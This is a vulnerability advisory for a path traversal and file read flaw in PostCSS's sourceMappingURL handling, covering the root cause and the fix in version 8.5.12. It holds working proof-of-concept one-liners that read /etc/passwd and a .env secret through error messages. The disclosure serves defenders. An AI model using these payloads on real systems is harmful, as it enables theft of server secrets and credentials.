CVE-2026-45623: PostCSS Arbitrary File Read via sourceMappingURL Path Traversal
PostCSS blindly reads any local file path embedded in a CSS comment and leaks its first bytes through an error message, letting an attacker read server secrets from any app that processes untrusted…
The problem
PostCSS's PreviousMap class extracts the path from a /*# sourceMappingURL=PATH */ comment and passes it straight to fs.readFileSync with no sanitisation. There is no scheme check, no traversal guard, and no allowlist.
With default options (no from, no map), the attacker supplies an absolute path like /etc/passwd and it is read directly. When opts.from is set, a ../ traversal escapes the base directory because path.join does not block dot segments. Either way, the bytes land in PreviousMap.text and are immediately fed to JSON.parse; V8's SyntaxError message embeds the first ~10 bytes of the file, leaking them to any caller that surfaces PostCSS errors.
Proof of concept
A working proof-of-concept for CVE-2026-45623 in postcss, with the exact payload below.
# Vector 1: absolute path, zero options required
node -e '
const p = require("postcss");
try {
p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */");
} catch(e) { console.log(e.message); }
'
# Output: Unexpected token 'r', "root:x:0:0"... is not valid JSON
# Vector 2: dot-dot traversal when opts.from is set
node -e '
require("postcss")()
.process(
"a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */",
{ from: "/var/www/html/styles/main.css", map: { inline: false } }
)
.catch(e => console.log(e.message));
'
# Output: Unexpected token 'r', "root:x:0:0"... is not valid JSON
# Vector 3: file-existence oracle (no error = file absent, error = file exists)
node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("silent");'
# Output: silent
# Vector 4: arbitrary secret leak
printf 'API_KEY=sk-secret-12345\n' > /tmp/test.env
node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/test.env */)' 2>&1
# Output: Unexpected token 'A', "API_KEY=sk"... is not valid JSONThe root cause is in lib/previous-map.js. getAnnotationURL strips only the /*# sourceMappingURL= prefix and trims whitespace; it performs no scheme check and no path validation. loadMap then calls loadFile(annotation) directly when opts.from is absent, or loadFile(path.join(dirname(from), annotation)) when it is set. path.join resolves .. segments normally, so traversal sequences escape the base directory. loadFile calls fs.readFileSync synchronously on whatever path it receives.
The patch in 8.5.12 restricts loadFile calls to paths that stay within the directory of opts.from, rejecting absolute annotations and any relative path whose resolved form escapes that directory. The new opts.unsafeMap: true flag restores the old behaviour for trusted build pipelines that need it.
The only prior escape hatch was the undocumented { map: false }, which also disabled all in-memory source-map handling.
The fix
Upgrade postcss to 8.5.12 or later. The fix restricts source-map annotation file reads to the directory of opts.from. If you run a trusted build pipeline and need the old behaviour, set opts.unsafeMap: true explicitly. Any pipeline that passes untrusted CSS (CMS themes, user uploads, userstyle processors) must not set unsafeMap: true and must not surface raw PostCSS error messages to end users.
Related research
- highCVE-2026-59209CVE-2026-59209: n8n Shared Credential Header Leak via HTTP Request Pagination Expression
- highn8n Git Node fetch/pull/pushTags Operations Bypass Sandbox Path Restriction
- highaxios Node HTTP Adapter Prototype Pollution Proxy Hijack via Interceptor Config Cloning
- high · 8.8obsidian-local-rest-api: Authenticated Path Traversal via Percent-Encoded Slash in /vault/{path}